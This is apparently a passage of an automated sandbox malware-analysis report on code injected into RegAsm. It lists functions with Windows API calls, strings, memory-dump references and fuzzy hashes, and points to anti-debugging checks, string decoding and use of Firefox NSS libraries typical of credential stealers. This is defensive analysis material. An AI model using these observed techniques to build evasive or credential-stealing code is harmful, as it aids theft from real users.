Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$CloseCreatelstrcat$AllocFirstHandleLocalNextObjectReadSingleSizeSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 2390431556-1173974218
Opcode ID: da69b1b8350e13912bc50d52533819a49f7ed9dbabec5badbe691adbfc3c0016
Instruction ID: 085151aa20985cc1c24b900562e2038c57bb153a1e06efcc5d93ab1db404d891
Opcode Fuzzy Hash: da69b1b8350e13912bc50d52533819a49f7ed9dbabec5badbe691adbfc3c0016
Instruction Fuzzy Hash: 34E1DA7194012D9BCF21FB26DD4AACDB375AF44309F4100E6A508B71A1DB79AFC98F98

Function 6C200820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C2011D2

Strings

@, xrefs: 6C200B17
not authorized, xrefs: 6C20175E, 6C201763
rows deleted, xrefs: 6C2017D2
authorizer malfunction, xrefs: 6C201BD2

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: cea2ab2c1cafe70e6ff2890e8b264f8e84d69a840999e84faa75d99f8ce87d67
Instruction ID: 30dcd6c8c50ee098735150358338005b7b0c72be2c834ee4ae65a2d0b11e6116
Opcode Fuzzy Hash: cea2ab2c1cafe70e6ff2890e8b264f8e84d69a840999e84faa75d99f8ce87d67
Instruction Fuzzy Hash: FED26B70E0424ADFDB14CFA9C484B9DBBF1BF49308F24816AD815ABB51D771E996CB80

Function 0042B0CC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,0042B735,?,004284E6,?,000000BC,?), ref: 0042B10B
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,0042B735,?,004284E6,?,000000BC,?), ref: 0042B134
GetACP.KERNEL32(?,?,0042B735,?,004284E6,?,000000BC,?), ref: 0042B148

Strings

OCP, xrefs: 0042B0EC
ACP, xrefs: 0042B0DB

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 6f20a6a568b6e14900c222ba86026eddd2a2274cf4f13b45eb98a022f40272da
Instruction ID: 9a82d2d165bf88aca29a0bf8e749ef3f3ea21aabb57aac8d650cc6d961d67086
Opcode Fuzzy Hash: 6f20a6a568b6e14900c222ba86026eddd2a2274cf4f13b45eb98a022f40272da
Instruction Fuzzy Hash: 8901B531701626BAEB219B60BC16F6B77A8DB043A8F60002AE101E11C1EB68CE91929C

Function 00408048 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Strings

$g@, xrefs: 00408056

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: $g@
API String ID: 4291131564-2623900638
Opcode ID: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction ID: e9494377cad346e2cb6e0c3413faafdb083af89deffb74abb579b147fff80950
Opcode Fuzzy Hash: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction Fuzzy Hash: 7EF03C70101334BBDF315F26DC4CE8B7FA9EF06BA1F100456F949E6250E7724A40DAA1

Function 0041D016 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041D44E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041D463
UnhandledExceptionFilter.KERNEL32(0043332C), ref: 0041D46E
GetCurrentProcess.KERNEL32(C0000409), ref: 0041D48A
TerminateProcess.KERNEL32(00000000), ref: 0041D491

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: f0bae7c02ec03e9cd254ee3e77ce7dcb23bfee01a8b87353ff1e7fdac0599424
Instruction ID: db72b0d0349af5086fa5416fb06d4d65b4d62ee2eec0edc44458765686740910
Opcode Fuzzy Hash: f0bae7c02ec03e9cd254ee3e77ce7dcb23bfee01a8b87353ff1e7fdac0599424
Instruction Fuzzy Hash: 1921ABB4C01705DFD764DFA9F988A447BB4BF08316F10927AE41887262EBB4D9818F5E

Function 6C33CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C33D086
PR_Malloc.NSS3(00000001), ref: 6C33D0B9
PR_Free.NSS3(?), ref: 6C33D138

Strings

>, xrefs: 6C33CF5B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 0925c1a2ed8bb79c7e8f01dda1b9a57903c3f8d3f87d9595c52d6102c2d9fd37
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 90D19D62F516FA0FFB14483C8CA13EA77978742378F582325D5298BBE5E61AC843CB51

Function 6C1BAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

P3l, xrefs: 6C1BADDB, 6C1BADF5, 6C1BAE6A
p3l, xrefs: 6C1BADA7
winUnlockReadLock, xrefs: 6C1BAE9F
winUnlock, xrefs: 6C1BAE18
03l, xrefs: 6C1BACC0, 6C1BAD22, 6C1BAD5E, 6C1BAE45

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID:
String ID: 03l$P3l$p3l$winUnlock$winUnlockReadLock
API String ID: 0-1327369632
Opcode ID: ff2900f3ed25376b201b765352aa6eda0e9a6f204bbf84afedbf73d8bd139ac6
Instruction ID: 12c087aad671c37b11c52633f6de3e5f39efb3bbba04105a0d44672a4db2d366
Opcode Fuzzy Hash: ff2900f3ed25376b201b765352aa6eda0e9a6f204bbf84afedbf73d8bd139ac6
Instruction Fuzzy Hash: EB719C706083449FDB04CF28D890AABBBF9FF8A314F14CA18F94997211E730A985CBD5

Function 6C2DAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e564df751ff9000484d77b95c8f3b20a79348a249f723024f6df2e90bd4a0914
Instruction ID: d5959a125d04f0490fe4e563a01ea9f8668c79bb3b6eae0b0ed0d6c3315f5c71
Opcode Fuzzy Hash: e564df751ff9000484d77b95c8f3b20a79348a249f723024f6df2e90bd4a0914
Instruction Fuzzy Hash: A1F1F171E0126A8FDB05CF29C8547E977F8BB4A309F16422DD911D7B40E774A941CBE4

Function 6C290E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C291052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C291086

Strings

h()l, xrefs: 6C290E55, 6C290EC4, 6C290F3A, 6C290FA7
h()l, xrefs: 6C291062, 6C29105D, 6C290F37, 6C291081, 6C291082

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: memcpymemset
String ID: h()l$h()l
API String ID: 1297977491-4076670583
Opcode ID: 0c1dfcb479d3fae4245e1c3ab8500861ee84666c9e15aca5cfd80ba71d407461
Instruction ID: 05b3f952ce7ebfffc4796a2d0f3facb7772a9b77536dcb27346b726a4e1d0a37
Opcode Fuzzy Hash: 0c1dfcb479d3fae4245e1c3ab8500861ee84666c9e15aca5cfd80ba71d407461
Instruction Fuzzy Hash: B5A11D71A0125E9FDB08CF9AC890AEEB7B6BF4D314B148129ED15A7700DB35ED51CB90

Function 00411E5D Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID:
API String ID: 1871034439-0
Opcode ID: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction ID: cc1f0cdc7ec9addca40c1236ae1a006933468a7893b1c2cc3d15f31d1535d567
Opcode Fuzzy Hash: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction Fuzzy Hash: 3F010C70500309BFDF158FA1DC849AB7BBAFF493A5B248459F90593220E7369E91EA24

Function 6C1B4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

P3l, xrefs: 6C1B5019, 6C1B50FA, 6C1B5157, 6C1B51DE, 6C1B51F2, 6C1B520D, 6C1B5220, 6C1B52A2, 6C1B52B5
p3l, xrefs: 6C1B4E1C, 6C1B4E81, 6C1B4FDE, 6C1B5047, 6C1B50BB, 6C1B51A3, 6C1B526C
winUnlockReadLock, xrefs: 6C1B5125
03l, xrefs: 6C1B4EDE, 6C1B4F82

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID:
String ID: 03l$P3l$p3l$winUnlockReadLock
API String ID: 0-4247951043
Opcode ID: 5c54e3d1a8010e48cf3354e4fac0e42b6e692cddfe71dc60ff1b63998e9d8442
Instruction ID: 2863b406716a805c3f3d6ff4ae805644ca661ec029e1b8b9412849eb6afd1ac7
Opcode Fuzzy Hash: 5c54e3d1a8010e48cf3354e4fac0e42b6e692cddfe71dc60ff1b63998e9d8442
Instruction Fuzzy Hash: 66E129B0A093408FDB05DF28D49469ABBF4FF8A308F11865DF889A7651E730D985CF96

Function 6C1B6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6C1B702B
noskipscan*, xrefs: 6C1B7067
sz=[0-9]*, xrefs: 6C1B7049
*?[, xrefs: 6C1B7034, 6C1B7052, 6C1B7070

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: c74b245fc736237bb9f29f677db89a1ab877d47f381b8554b8e986964e985907
Instruction ID: d15e94c90da270e72588f0a78fc6b0527f10b4eec3349ae2545ccf42ec1816b4
Opcode Fuzzy Hash: c74b245fc736237bb9f29f677db89a1ab877d47f381b8554b8e986964e985907
Instruction Fuzzy Hash: 90718C32F002154BEB148A6DC89039A73A29F96314F25427BCD69BBFC1D6759C468FF1

Function 6C24EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C24F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C24F0F9

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 8cc03c8063f6314f388cbe9f6673eeed64828af468060246a80f467c22f308e2
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 2391AF71A0021A8BCB18CF68C8906AFB7F1FF85325F25872DD966A7BC4D730A905CB51

Function 6C272F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C297929), ref: 6C272FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C297929), ref: 6C272FE0

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 3ca3decf4225aa13c57e727c83299f3dd2ae7357f7ed7267aaa73e8507e551db
Instruction ID: ec199e76d2f9a5019f1b053b9d55f00c952cc8a1f34cd7c29e6a36b5609533aa
Opcode Fuzzy Hash: 3ca3decf4225aa13c57e727c83299f3dd2ae7357f7ed7267aaa73e8507e551db
Instruction Fuzzy Hash: BE51F5B1A0591A8FD720CE59C8C4BAA73B1FF45319F250169ED09ABB01DB31E946CBA1

Function 0041C0E9 Relevance: 3.1, APIs: 2, Instructions: 63timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,74DE83C0,00000000,?,?,?,?,?,?,?,?,0041C5A4,?), ref: 0041C13E
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,0041C5A4,?), ref: 0041C14C

Part of subcall function 0041B92A: FileTimeToSystemTime.KERNEL32(?,?,?,?,0041C211,?,?,?,?,?,?,?,?,?,?,0041C5B4), ref: 0041B942

Part of subcall function 0041B906: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041B923

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: e18be1e8a3847ab2d69564342152f85ca1bd5b155455464045d2105bdf40e3da
Instruction ID: e9dd666d6f03e3bc2370fb34bb5a4ee32d8a7198e314cb59bed8413d438bc6b2
Opcode Fuzzy Hash: e18be1e8a3847ab2d69564342152f85ca1bd5b155455464045d2105bdf40e3da
Instruction Fuzzy Hash: D421E6B19002099FCF44DF69D9806ED7BF5FF08300F1041BAE949EA21AE7398945DFA4

Function 0040145B Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000007,00000000,00000004,00000000), ref: 0040146D
NtQueryInformationProcess.NTDLL(00000000), ref: 00401474

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

